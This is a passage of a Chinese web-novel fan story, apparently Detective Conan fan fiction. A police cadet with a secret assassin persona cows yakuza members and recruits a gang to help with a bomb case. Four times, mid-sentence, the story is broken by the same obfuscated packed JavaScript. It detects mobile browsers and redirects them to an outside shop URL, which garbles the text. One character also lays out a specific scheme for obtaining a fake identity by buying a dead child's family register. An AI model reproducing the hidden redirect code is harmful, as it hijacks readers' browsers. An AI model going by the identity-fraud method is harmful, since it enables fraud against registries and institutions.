这个姿势，自己只在黑.道成员的悬赏令上看过。 菱川遥转头，和高桥正夫空白的表情对上，露出一个疑惑的表情：“有什么问题吗？” 不应该有问题吗？ 高桥正夫吞了口口水。 为什么这么熟练？像是家风如此，从小训练惯了。 正在他头脑风暴的时候，一个穿着皱西装的男人终于走了过来。 “就是你们两个，课长让我带？”他脸上的胡子还没刮干净，摸着下巴审视两人。 内心嗤笑一声，就这两个瘦不禁风的愣头青，能顶什么用？只能拖后腿吧。 5. 第 5 章 穿着皱西装的男人名字叫做市原佳村，是组织犯罪对策部四课的警部补。 他此时打定主意要让这两个小子滚蛋。 自己所在的第四课可不是闹着玩的，他们直接对付的敌人，是那些暴力团——由于国情特殊，日本有相当多的黑.道团体。在警察的管辖下，有些比较老实，但大部分团体并没有退去黑.道本色，反而成了异常难缠的合法团体。 组对四课就是负责取缔这些暴力团，必要时，他们是搜查、逮捕、处理帮派斗争的首要人员。 所以能够在四课混下去的刑警，大都经验丰富，外表硬汉，甚至比黑.道人员还要凶恶一两分，这样才能在气势上压倒黑.道。 市原佳村无论怎么看这两个警校生，都没看出他们的优点。 高桥正夫就算了，他还算有点背景，反正最后也会调走。 另一个小子又是怎么回事？怎么这么松懈！？ 他居然还当着前辈的面打哈欠！还掏耳朵！ “如果你们抱着来玩闹的心态，那我建议你们自觉滚蛋。”市原佳村胡子拉碴的表情异常凶恶。 “否则我可不保证你们等下不会尿裤子。” 菱川遥以为这只是前辈的温暖问候，但是他发现上司只看自己，掏耳朵的手一顿。 咦，为什么要盯着自己说这句话？ 秉承着不给家里闹事的原则，菱川遥没有给出反应，眼观鼻鼻观心。 市原警部补的情绪稍微稳定了一点。 他确实看不上警校生，觉得这些初出茅庐的新人远远达不到自己要求，不过因此，他也没把菱川遥放在心上。 他还是对课长更生气一点，认为他在无理取闹。 “跟上。”市原佳村转身就走，西装下摆划过硬冷的弧度，“组对四课的工作不是那么好干，你们先拿出点本事吧。” 菱川遥和他同学被带到某个警署，一间充满烟味、昏暗的审讯室里。 坐在里面的人是镝木组的若头（也就是二把手），戴着金项链满脸横肉，丝毫不把警察放在眼里。 警察已经审问他几个小时了，一无所获。 反正只要过了24小时，条子就要放人。 若头很自信，条子没有找到自己的证据。 即使这次吃亏是被警察偷袭，他们也及时把那些毒.品扔进了东京湾销毁。 他此时态度嚣张地让刑警送饭进来，否则就投诉他们蔑视人权。 市原警部补啧一声，对他带来的两个人说：“你们进去，想办法问出点什么。” 菱川遥依旧若有所思，高桥正夫懵逼指着自己：“我、我吗？” “不然难道是我？！”市原警部补不耐烦挥手。 他心里想的是，反正事情已经成定局，没必要浪费时间了，只是走个形式把两个新人吓跑。 高桥正夫原本正紧张，回头看了一眼同样被“吓傻”的菱川遥，反而冷静下来。 自己之前有些大惊小怪了。 不管怎么看，菱川遥都只是个正常警校生，什么黑.道姿势和手搓炸.弹只是幻觉。 否则怎么解释，自己英勇地站了出来，菱川遥反而畏缩不前。 他昂首挺胸走了进去。 三分钟后，他脸色苍白，两股战战走了出来。 看起来要尿了。 市原警部补嘲笑一声，推了菱川遥一把：“下一个你去。” 菱川遥看起来有点踌躇：“不太好吧……我还没准备好。” 市原警部补眼底的轻蔑快溢出来了，他已经认定了这个新人想逃避。 他不给菱川遥逃避的机会，菱川遥犹犹豫豫走进审讯室。 若头以为又来一个条子找茬，凶恶的面容可止小儿夜啼。 “怎么回事？！条.子找两个傻子来侮辱我m……” 他的声音戛然而止。 市原警部补原本翘二郎腿坐着，也在这时，突然站起来。 因为菱川遥坐在若头对面后，气场就突然变了。 “我刚刚想了很久……你们这种人会害怕什么。” 菱川遥有些失真的声音，从门缝后传来，从玻璃后传来，还从审讯室广播中传来。 某种情绪压抑在他喉咙里，克制而兴奋。 “然后吧，我想你们不怕警察，因为证据被销毁了。应该也不怕家人威胁，因为人渣可以轻易舍弃道德。” 若头被那双冰冷的眼神盯上，浑身僵硬。 他也不知道为什么，突然感到了一股莫大的压力，心脏疯狂跳动。 快、快说点什么！ 不能让他继续说下去了。 “但肯定不是毫无办法吧，你一定有害怕的东西。”菱川遥自顾自继续说，“否则你不会这种表情。” “让我猜猜……是你的上级？” 若头已经没有之前的轻松，他额头不断冒出冷汗。 市原佳村捏了一把汗，好，看起来有戏！ 而菱川遥在此时停顿下来，观察了一会儿若头的表情。 突然反驳了之前的观点：“不对，不是你上级。” 他害怕的另有其人。 比他上级更恐怖，比判决死刑更恐惧。 菱川遥这几天研究自己新人设，却没一直什么进展。 他有些失望地猜到自己可能被识破了，所以人设的真实性减弱，没有再展现出更多能力。 原因大概就是那通电话。 而就在刚刚，他看完了这个黑.道人员的资料，居然和自己有关。 正是之前自己那次，被误以为绑架未成年，结果吸引警察把附近售卖致幻毒.品的产业连根拔起。 并且顺势查到了幕后主谋，也就是眼前的镝木组若头。 菱川遥几乎瞬间猜到，被自己电话号码顶替的人，就是他。 菱川遥观察着，这个人身上有没有自己可以学习的地方，未雨绸缪，为以后工作做准备。 符合辍学特征、学历低，第一次杀人应该是16岁左右、有人引导入行，干的脏活比较基层、分管上级应该比较边缘，没进入核心…… 分析逐渐和自己的经验对应。 菱川遥调整了一下自己的坐姿。 那一瞬间，若头脸色大变，猛地站起来。 椅子倒在地上，发出巨响。 没错了，是这个。 菱川遥冷笑一声，不知道若头想到了什么，脸色更加苍白。 “你、你……” “废物。”菱川遥慢条斯理，“和老鼠一样，不配留在组织里。” 浓稠的黑暗从他身上流出，仿佛凝成某种实质，望向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129266|196182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼底，只有对人命的漠视。 嗬嗬的声音从若头喉咙里挤出，此时他已经完全失去镇定，双目发直，脸色苍白。 看到了。 自己仿佛从这个人背后……看到了那道恐怖的影子。 “救、救……” 扑通一声，若头跪在地上。 市原警部补发现不对，立刻冲了进去。 他晚了一步，若头已经晕过去，裤子上还有一滩可疑的痕迹。 只有菱川遥无辜站在一边，举着从若头身上搜出的一台藏匿手机。 “我还打算表演一下，把他手机踩碎来着，但他先晕了。” “好像这个状态他也说不出什么……所以道具要上交吗？” 此时市原佳村已经笑的如花一样恶心，含情脉脉看着菱川遥。 “我第一眼看到你就知道你适合我们四课，不愧是我啊，眼光真好。” 旁边的高桥正夫震撼侧目，这人在说什么疯话？ 不是适合四课，而是适合黑.道吧！ 你刚刚不是这个态度啊！ . 下班的时候，菱川遥站在警视厅门口等家长。 值班警察和他搭话，目光依旧慈爱。 真精神啊，透过这样的后辈，仿佛看到了社会的真善美。 “你是警校生吗？想去哪个部门？” “哦哦，已经入学三个多月了。” “才17岁啊，那要先去都道府县轮值，可以从比较安全的交警开始做起。” “大叔，你人真好。”菱川遥感觉到了善意，高兴道：“我已经在攒资历了，明天要去两个社团火.拼现场，手上还有一个码头的枪.支交易，后天要去地下赌场踢馆……” 值班警察愣住了，呆呆地看着他跑远，扑向从警视厅走出来的两个人。 欢声笑语远远传来。 “重死了！给我起来，你知道现在多大块吗？” “不要，我还未成年呢，你好凶啊松田。” “诶诶诶，小遥遥我的衣服要坏了！裤子也不能揪！” “就不松，你们今天下班好早哦，是不是翘班了？” “东京倒也没这么多炸.弹要处理……还有，不要臆想我们的工作方式啊！” 三个人逐渐走远，值班警察收回目光，掏了掏自己耳朵。 自己，可能出现幻听了吧，刚刚。 不管怎么看，这温馨的一幕，都和刚刚一系列关键词对不上。 他笃定是自己太累了，需要请假休息。 “今天第一天上班，工作氛围怎么样？”萩原研二摸了摸菱川遥的脑壳。 自己听说过组对四课的氛围，总之不是很友善。 菱川遥：“他们对后辈非常热情。” 萩原研二笑容一滞，总觉得哪里不对。 自己在警视厅的消息很灵通，没听说那边是这种风格。 算了，他喜欢就行。 虽然离菱川遥的梦想还有一点距离，毕竟公安部恐怕更危险而且要求严苛…… 但如果真让他梦想成真，那就离普通人遥远了。 菱川遥低头，从纸杯里挖出一勺冰淇淋。 余光往旁边一瞥，一个闪闪发光的新人设，排布在视野最下方： 【职业杀手】。 6. 第 6 章 菱川遥脱下染血的手套，塞进口袋里，另一只手举起来打招呼。 “前辈，还有别的工作吗今天？”他欢快道。 市原佳村看了看他口袋里露出来的一截红色，又看了看他脸上呈溅射状的血迹，印在一张单纯的笑脸上。 于是市原佳村也露出一个笑：“嗯，没有了，回去休息吧。” “那我下班了，今天有个饭局。” 连日的工作让两人上下级关系突飞猛进，也让市原佳村越来越稳重。 原本只是为了让菱川遥见世面的困难工作，也都完成了，真是可喜可贺。 今天这一天也会很快结束的，市原佳村心想。 但是另一位下属显然有话要说。 高桥正夫站在他旁边，嘴角嗫嚅：“前辈……” “我知道你要说什么。”市原警部补双手背在身后，没有看他，“组对四课就是这样的，演技越好，就越能镇住黑.道。” “菱川君演的太像了，所以有些控制不住自己，这很正常。” “演技能比黑.道人员更像黑.道吗？他在摸武器的时候，看起来比若头还专业。” “是演技。”市原警部补斩钉截铁。 高桥正夫：……彳亍。 市原警部补心想不然你让我怎么办？把他退掉吗。 先不提能不能退掉，这不就相当于承认自己之前的眼光。 更重要的是，现在课长心花怒放，有了菱川遥之后，很多工作确实处理的很快。 另一边，菱川遥换了一身更耐脏的黑风衣，来到一家热闹的餐厅门口。 “小遥遥，这里。”萩原研二招手示意。 菱川遥一转头看到两个帅哥站在门口等自己，非常养眼。 其中一个笑盈盈朝自己招手，另一个戴着墨镜装酷哥。 菱川遥脚步轻快地过去，像归家的小动物。 “松田哥、萩原哥，果然你们二十九岁的老男人越老越耐看。” “？？？？你说什么？！看拳！！” “啊啊啊啊小遥遥这个叫成熟不叫老……不对，二十九岁明明才正年轻啊！！” 菱川遥捂着刚刚被重拳出击过的头，提进了餐厅。 包间中已经有两人在等待了。 “隔了那么远就听见你们在打闹了。”粗眉毛的魁梧男人大笑起来。 “怎么样？最近如何？” 菱川遥老老实实问候：“伊达大哥，娜塔莉姐姐。” 伊达航是萩原和松田的好友，在搜查一课工作，旁边的女性是他的妻子娜塔莉小姐。 娜塔莉温柔地笑起来：“你们关系还是那么好，真是太好了。” 伊达航跟萩原研二和松田阵平碰了碰拳。 “好久没有跟你们聚过了。”他感叹道，“正好前段时间刚忙完，娜塔莉也休息，所以我直接把家属也带来了。” “那正好，我们也带了家属。”松田阵平已经不是警校的自己，他一点也不羡慕，冷哼一声，把菱川遥提到前面来。 娜塔莉噗嗤一声笑了。 他们确实很久没聚了，虽然都在同一个地方上班，但各自职责不一样，几乎碰不到一起。 而且……知道菱川遥真实情况的人不多。 松田阵平和萩原研二的所有好友中，只有伊达航知道。 伊达航好奇道：“菱川真的到组织犯罪对策部四课工作了？已经同意他留下了？” 松田阵平想到自己得知的情况：“何止，甚至已经在调档案了，让他两年后直接去工作。” 伊达航嘶一声，摸了摸下巴：“这么有天赋吗？” 菱川遥低头扒饭，闻言认真点点头。 上司和同学确实都很认同自己。 伊达航不疑有他。事实上他也非常喜欢菱川遥这孩子。 他还记得七年前，萩原差点被一个炸.弹暗算，也是菱川遥突然神之一手，让读秒停止。 还有三年前松田那次也是，菱川遥也超神了一下，不知道用什么方法找到了躲藏的炸.弹犯和另一个炸.弹。 但是知道这些事的人不多，仅有他们几个，消息都被压了下去，为的就是保护菱川遥不被媒体关注。 原因自然是……菱川遥，和把他送过来的人身份特殊。 也许是想到了至今毫无消息的另外两人，饭桌上沉默了一会儿。 萩原研二拄着腮帮子开口：“聊聊工作怎么样？最近有什么案子比较棘手吗？” 话题又流动起来。 菱川遥吃了两口饭，就在饭桌下手机打字，看起来在给谁发消息。 “说起来，还真有个案子没有头绪。”伊达航随口提起，“我们正在跟踪一个嫌疑人，但是非常诡异，能找到他的户籍信息，但完全没有照片，从社交媒体上看也毫无痕迹。” 他大概描述了一下情况。 菱川遥在旁边抬起头：“是假身份吧？” 伊达航自然接话：“我们没有这么武断下结论……” 说完这句话，他才愣了一下，发现是菱川遥在接自己的话。 “弄一个假身份比抹掉社交痕迹方便。”菱川遥想了想，开口说：“还挺好弄的。” 几个人愣愣地看着他。 好……弄？这种东西是能弄的吗？ 菱川遥回忆了一下，跟着【职业杀手】人设一起送到自己脑子里的十几个地址，七八个电话号码。 随便其中一个就能办。 于是菱川遥点了点头：“很轻松。” 松田阵平：“……” 伊达航：“……” 萩原研二在疯狂给菱川遥使眼色。 但是菱川遥却误会了，以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129267|196182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他们不信。 为了增加自己话语中的可信度，菱川遥积极分享：“要是不嫌麻烦，我们一般也会自己联系代理人，这样的身份用起来放心。” “我比较推荐去九州岛那边的偏远乡下，找那种为了骗生育津贴，没有给孩子办夭折证明的老人，给一笔钱拿走户籍誊本，再想点办法补办健康保险证。” “这样住民票也能办了，驾照也能办了，也可以去转籍。”菱川遥喃喃自语，掰着手指头数还差什么材料，“反正户籍迁移后，因为乡下系统不互通，旧记录就被封存，新的户籍上就只有我的名字，社交媒体和信用记录都是全新的也不会被追踪……” 菱川遥猛地发现，餐桌上已经很久没有人说话了。 “……”他呐呐闭上嘴。 伊达航几次张嘴，又闭上。 最后他选择看向另外两个沉默是金的好友。 萩原研二：“应该是警校教的，或者看书学到的。” 伊达航：“警校不教这种，书里也不会写。” 唯一会写的地方感觉是刑法里。 松田阵平：“那就是我教的，总行了吧。” 伊达航：“？”为了偏袒孩子已经开始胡言乱语起来。 他精神恍惚：“我觉得应该跟上级反馈一下。” 趁着这个机会，菱川遥心虚偷偷溜出了包间。 他手伸进口袋里，拿到了还没来得及处理的血手套。 湿哒哒地贴在衣料上，怪不舒服，还是洗一下吧，以免等会儿看出痕迹。 他走进洗手间。 . 江户川柯南，是一名侦探。 或者说，曾经是一名高中生侦探。 几周前，他因为目睹了一场犯罪交易，而被打晕喂下毒药，醒来后就变成了小学生。 于是他隐姓埋名解决案件的同时，也不忘寻找黑衣人的踪迹。 今天他和阿笠博士带着小学生出来，不出意外，又在用餐的时候遇到凶杀案。 好在这次的受害人比较幸运，因为自己插手，凶手没能制造车祸，就被直接带走了。 江户川柯南感觉到了内心的平静。 只要这样一直解决案件，就会有更多罪犯被绳之以法，也有更多人获救。 唯一美中不足的是，迟迟没有黑衣人的线索。 宁静中带着一点忧愁，他推开了走廊深处，男洗手间的大门。 入目是一个穿着黑色风衣的背影，正面对着洗手台，清洗着什么。 水哗啦啦流下，被染成红色。 黑衣男从水池里拎起软趴趴的东西，眼神视人命如草芥，嘴里骂了一句：“***，怎么洗不干净？！早知道拿刀放血了。” 然后他把那个人手一样的东西扔到地上，也和江户川柯南对视上了。 巨特么恐怖。 7. 第 7 章 江户川柯南表面上看起来很平静，他礼貌地点了点头，露出一个平淡的笑：“菱川君。” 仿佛只是碰巧见到的熟人而已。 柯南表现的很平静，菱川遥也意识不到现在的场景有什么不对，于是也很平淡地回了一句：“你好。” 然后就转头，把“人手”扔进垃圾袋。 江户川柯南松开手，失去支撑的门就被反弹回去关上，他本人也若无其事地走进隔间。 刚刚是自己失态了。 江户川柯南心想。 只是看到那双眼睛而已，就仿佛一下子被很恐怖的东西占据心神，回过神来才发现，这张脸自己认识，不是自己想象中的黑衣人。 菱川遥。他之前和自己是同一所学校的同学，虽然不在同一个班，但是因为一些这样那样的误会，两人产生过不少交集。 虽然之后菱川遥就突然跳级去了高三，两人就没什么联系了。 是菱川遥的话，那一切就很正常。江户川柯南心想，菱川遥思路诡异，经常造成误会，像刚刚的普通洗手场面，也容易造成凶杀案一样的效果。 幸好，自己见多识广，经历过大风大浪，已经不会被这点小场面吓到。 反正只要想到，再惹人怀疑的场面都是菱川遥干的，那就完全没事了。 江户川柯南平静地关上门。 ……根本一点也不冷静啊！ 江户川柯南用力捶了一下自己的腿，倒吸一口凉气。 自己刚刚大脑空白，都不过脑子直接喊出了菱川。 要知道自己现在是小学生！又不是高中生，理论上根本不认识菱川遥，而菱川遥也不认识自己。 正常情况下自己肯定不会犯这个错误，但是刚刚完全被那一幕冲击到了！ 菱川遥好像也突然发现这个问题：“咦？小朋友，你认识我吗？” 江户川柯南疲惫地笑：“我、我不认识，但是我有个关系不错的哥哥，和你是同学。” 菱川遥：“哦。” 那应该就是认识的人吧。他把这件事抛到脑后。 接下来不论菱川遥怎么问，江户川柯南都回答滴水不漏，打定主意不想让菱川遥被牵扯进来。 这里面有90%对同学的担忧，和10%诡异的猜测：菱川遥如果掺和进来，事情一定会往不可控制的方向狂奔。 听说对方高中一毕业就去警校了，很好，那应该不会有机会经常碰面。 菱川遥闷头摸着脑袋，慢腾腾走远了。 总觉得对方好眼熟，但又想不出哪里不对。 回到包间后，菱川遥发现，几位前辈都已经恢复了平静。 “你去了好久，干嘛去了？”松田阵平问。 “去洗手间，然后遇到了个可能认识的小孩，多聊了两句。”菱川遥老实说。 他发现伊达航不在，连娜塔莉都消失了：“他们去哪了？” “门口好像差点出了车祸，司机杀人未遂。”说话的是萩原研二，他捏了捏自己的两眼之间，看起来比较疲惫，“班长是搜查一课的人，刚好在这里吃饭，所以就过去了。娜塔莉小姐和他在一起。” “最近东京市的确不太平。”他若有所思，“各种案件发生的频率变高了。” 好像连炸.弹犯都翻了几番。 然后他突然想到什么，转向菱川遥：“小遥遥，你如果遇到什么自己无法招架的案子，一定要向我们求助哦，还有你伊达大哥。” “嗯嗯我会的。”菱川遥自信道：“不过别小看我啊，目前为止，我已经解决了好几个危险的案子哦。” 但问到具体有多危险，菱川遥又回答不上来。 只说自己走到门口，走进去，摸了摸黑.道成员私藏的武器，事情就解决了。 听起来还挺……如鱼得水。 两位监护人还挺担心的，因为似乎，菱川遥隐藏了一个银河系那么多的细节。 . 不过，他们很快有机会亲自目睹。 这天爆处班接到一个任务，有人举报在某处商业大楼里，发现了炸.弹。 这栋商业大楼上个月才废弃，因为所属公司资金链断裂，无力继续经营，便把这栋大楼资产抵押出去。 由于废弃时间较短，还有不少内部商家没有撤出大楼，近期也还有人员流动。 也不知道在这个地方安装炸.弹有什么意图，但为了安全，爆处班还是出动了两支队伍，对商业大楼进行全面勘察。 目前为止，炸.弹犯的意图还有炸.弹地点都全然不知。 警视厅已经通过物业公司发布了疏散指令，在等待剩余人员疏散的同时，他们也用监控将附近密不透风监视起来。 “要先进去看看吗？”萩原研二往松田阵平的方向蹭过来，“里面的监控失灵了，为了避免还有普通民众逗留，我可以上去看看……哎呀好痛！” 松田阵平收回弹在他额头上的脑瓜崩。 “七年前的教训还没吃够吗？”松田阵平看起来有点生气，不过也只是冷哼一声，又低下头去看监控了。 萩原研二苦哈哈摸着额头：“哎呀，我会小心的。” “你的话已经没有可信度了。”松田阵平说，“要是炸.弹犯又在附近看戏，目的是报复警察，你怎么办？难道又等菱川一个未成年来救你吗？” 大概是因为挑起了久远的记忆，最后一句话他听起来阴阳怪气。 萩原研二自知理亏：“但是一直在外面监视也毫无办法嘛……” 自己和小阵平两人中间肯定有个人要先去探路，这就是队长的工作。 自己可不会让小阵平去。 松田阵平瞥他一眼，已经准备好等下强行镇压萩原研二的反抗，自己从监控电脑前站起来。 萩原研二警惕道：“小阵平你……” 他一句话还没说完，松田阵平又坐下了。 萩原研二：？ 他看到松田阵平死死盯着电脑屏幕，疑惑地凑过去：“怎么啦发生什么……” 他的声音也戛然而止。 因为附近的监控画面里，出现了菱川遥鬼鬼祟祟的背影。 而且他的方向，正是向着商业大楼。 监控电脑前的两人抬头对视一眼，都从对方眼里看到不可置信。 菱川遥怎么在这里啊&路口拦截的人呢怎么把他放过来了？？ 菱川遥还带着一个人，两人熟门熟路绕过所有监控，从死角走进了商业大楼的范围。 ——主要是菱川遥熟门熟路，被他强行带过来的高桥正夫，吞回一句脏话。 他已经累了，他不想问菱川遥，为什么凭直觉就能知道哪里能躲开监控。 “我们这样没有经过市原警部补的同意，就私自行动。”高桥正夫嗫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129268|196182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚅着说了一句，“会被骂吧？” 菱川遥回头，奇怪地看他一眼：“你是实习生，怕什么。” 只要不期待留用，实习生就是大爷。 高桥正夫很想大骂出来，你是不担心挨骂，因为上司不敢惹你，但我就要一个人承担所有炮火！ “以我得到的消息来看。”菱川遥东张西望，从容避开监控范围，“今晚黑市交易的地点就在这里。” 两个地方性极.道社团要买卖一批枪.支弹.药，但他们触犯了某些人的利益，所以有人把消息悄悄散布出去。 “等等，你是说警部补也知道这件事吗？”高桥正夫吃惊道，“那为什么我们要私自行动？” 菱川遥摇了摇头：“四课还没接到准确的消息，所以他暂时不能行动，但是等四课得到消息，黄花菜都凉了。” 高桥正夫：“那为什么你能提前得到消息？” 菱川遥：“因为……” 他没说完，附近突然一阵风吹草动。 起风了。 周围影影幢幢，高桥正夫也噤声，心脏怦怦跳动，受惊地盯着四周。 这一带不知道发生了什么，今天格外冷清，什么人也没有。 要是一直没有人就罢了，就担心……有人突然出现。 ——躲在掩体里或者阴影背后的人，就这样走了出来。 被……被包围了。 高桥正夫吓到失声。 来人一个个凶神恶煞，双臂纹身，一看就是混黑.道的人物。 高桥正夫不断往菱川遥身上靠，此时他已经完全忘记，自己不久前还看不惯对方，自己现在只想扒在对方身上发出尖锐爆鸣。 “完了……完了……” 自己平步青云的职业生涯就要葬送在这里了。 另一边，目睹两人被包围的松田阵平和萩原研二也急疯了。 “喂！对，有无关人员闯进来了，立刻去拦截！”松田阵平一边给协调部门打电话，一边往后走，“是组对四课的人，这里疑似还有黑.道人员埋伏……到底怎么有这么大漏洞，不是让你们守好每一个入口吗！” 萩原研二则立刻给菱川遥打电话，并死死盯着电脑屏幕，期待他能接通。 只要和自己联系上，知道有警察监控着周围，那些人就不敢轻举妄动…… 电话接通了。 “喂？萩原哥？”菱川遥清亮的声音响起，监控中他也同步举起手机。 萩原研二松了好大一口气，又立刻提起来：“菱川，你知道自己现在在哪里吗？！” “呃……”菱川遥的声音听起来有点犹豫，“稍等一下萩原哥，我这里还有点事，等下回你。” “别挂断电话呀！”萩原研二着急道。 这时，他听见身后，松田阵平疑惑的质问：“什么叫组对四课的人接到消息，今天商业大楼有黑市交易？？” “他们派了人过来吗？” 萩原研二也陷入茫然，他一时间还没把两边的情报联系到一起，就看到监控屏幕中，那些黑.道人员朝菱川遥迈前一步。 萩原研二心脏都提到了嗓子眼里。 却突然看到那些凶神恶煞的人齐刷刷并拢腿，朝着菱川遥的方向鞠躬： “大哥！！” 声音整齐划一，传入麦克风听筒里。 萩原研二：“………………” 8. 第 8 章 萩原研二失去了语言能力。 “小阵平……”他有气无力开口，电话贴在耳边回头，“我们好像……不需要担心他的安危了。” “怎么回事？”闻言松田阵平心下稍安，但还是没想明白短短时间内发生了什么。 他走了回来，看向监控。 然后他眼前一黑。 此时另一边，菱川遥正挥了挥手，让十几个小弟放松点。 没有人敢真的放松。小弟眼观鼻鼻观心，非常老实地站直了身体，而且很有纪律，肌肉虬结，却像鸡崽一样站着。 高桥正夫用看鬼一样的眼神看着菱川遥。 “这是……怎么回事？”他艰难开口。 虽然不用问他好像也知道，自己暂时安全了。 但是菱川遥到底从哪冒出来的这么多一看就不太正规的小弟啊！ 菱川遥正在跟监护人紧急解释自己为什么夜不归宿：“我在跟朋友散步呢，哈哈。” 萩原研二：“……你明明知道我们现在可以看着你。” 菱川遥挠了挠头，终于不再装了，回头看向监控所在的方位。 仿佛透过监控镜头，和背后两位监护人对视上了。 “我就说怎么多了很多意料之外的视线……”他小声嘟囔了一句。 事情还要从几天前说起。 因为知道镝木组二把手被抓了，再加上镝木组还和自己其他工作事项有牵扯。 所以他干脆一不做二不休，装上【职业杀手】，把镝木组一把手抓出来打了一顿。 这些暴力团非常崇尚武力，弱肉强食，本身整个社团也是靠从上到下的威慑、恐惧绑定到一起，所以只要菱川遥能从武力上搞定他们，基本上就没问题。 何况菱川遥还有个白道的身份，如果不投靠他，就自动选择了牢底坐穿的选项。 所以镝木组剩余的人毕恭毕敬成了他小弟。 黑市交易的消息也是靠这些小弟给自己当眼线，所以菱川遥能先一步行动。 听完他的解释，不管是电话内还是电话外的人，脑海里都冒出“这对吗”几个字。 松田阵平更是捏了捏自己两眼之间的鼻梁。 自己的想法先不说了，总之很复杂。 他在想，如果某天诸伏景光回来串门，发现他送过来的孩子现在拳打黑.道，脚踩法律……会有何感想。 不过现在情况紧急，先不想其他事了。 他从萩原研二手里接过电话，言简意赅讲了一下自己这边的情况。 “有炸弹在商业大楼里吗？”菱川遥思考了一下，“那我现在更不能走了。” “我接到的消息是，有两个黑.道社团今天在顶楼交易枪.支。”菱川遥继续道，“消息之所以能泄露出来，是因为这个交易触犯了某些人的利益。” “所以……有人会将消息散布出来，也有人会进行报复。”松田阵平想通了前后关键，“报复的方式是在商业大楼安装炸.弹。” 这可是个坏消息。 因为涉案的所有人都不是普通人，肯定不是小打小闹。 为了不留活口，松田阵平怀疑里面装的炸.弹能把好几层楼炸穿。 要是一个活口都没留下，那就是死亡二三十个人的恶性事件，明天新闻头版头条都预定了。 松田阵平想到这里，心情就糟糕起来，他对电话里命令道：“你现在回来。” 菱川遥：“我不。” 他非常坚决，而且让松田阵平和萩原研二也别进去，至少等到排除风险后。 松田阵平皱眉：“难道你觉得我们会允许你去排查风险吗？” 虽然说菱川遥好像也对炸.弹有点研究……但毕竟是好几年前的事了。 何况他们是成年人，菱川遥还是个警校生，没有让他去涉险的道理。 但是菱川遥理所当然开口：“我当然不会自己去排查风险啊。” 松田阵平：“啊？” 菱川遥：“我有小弟。” 他巡视的目光落在眼前一排镝木组组员身上。 听到两人对话的全过程，镝木组组员感觉到目光落在身上的凉意。 他们用看人渣一样的眼神看着菱川遥。 这人真的是警察吗？ 就算他们经常和组织犯罪对策部的人打交道，也没见过这么无法无天的人渣啊！ 松田阵平：“……这不太好吧，他们毕竟是合法公民……” 菱川遥抬头，笑容友好：“你们愿意当志愿者主动去排查炸弹位.置吗？” 一时间没有人说话，所有人扭扭捏捏，不断用肩膀撞击推搡着旁边的人。 菱川遥语气加重：“说话！” “愿意愿意！” “当然愿意！为了社会的稳定，我们义不容辞！” “我们没有任何怨言！” “我推荐让我们的前组长打头阵，他在这个领域有非常丰富的经验……” 一个手臂打了石膏的中年人被推搡出来。 中年人怒道：“混蛋！你们就是这样对我的？！” 菱川遥不管他们的内讧，回到电话旁：“你看。” 松田阵平哑口无言，他看着眼前自己失败的教育结果，心神巨震。 你对他们做了些什么…… 于是换萩原研二上，继续和菱川遥联络。 他强行让自己忽视镝木组组员求救的眼神，硬着头皮说：“嗯……那么你现在有什么想法？” . 菱川遥挂断电话后，一把勾住了准备偷偷摸摸离开的高桥正夫。 高桥正夫浑身一震，露出一个比哭还难看的笑脸。 “我、我也要当志愿者吗？” 菱川遥惊讶道：“怎么会呢？你可是我的好同事和好同学，我当然不会让你去做这种脏活累活啦。” “别把我想的太坏了。”他真诚道。 高桥正夫疑虑丛生：“真的吗？那你现在能放我回去吗？” 菱川遥微笑着，用力拍着他的肩膀：“可以啊，但是你也看到刚刚那一幕了吧。” 他叹了口气：“我现在手下有人，这件事上司还不知道……” “我会保密！”高桥正夫立刻发誓，“这件事绝对不会传出去，我天生就是一个哑巴。” 菱川遥很满意他的上道。 “不过你还不能走。”菱川遥又拍了拍他肩膀，“有个忙需要你帮我。” 两人在监控死角嘀嘀咕咕了几句。 “不行！要是被发现我肯定会被臭骂！”高桥正夫立刻激烈反对， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129269|196182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “而且这对我一点好处都没有！” 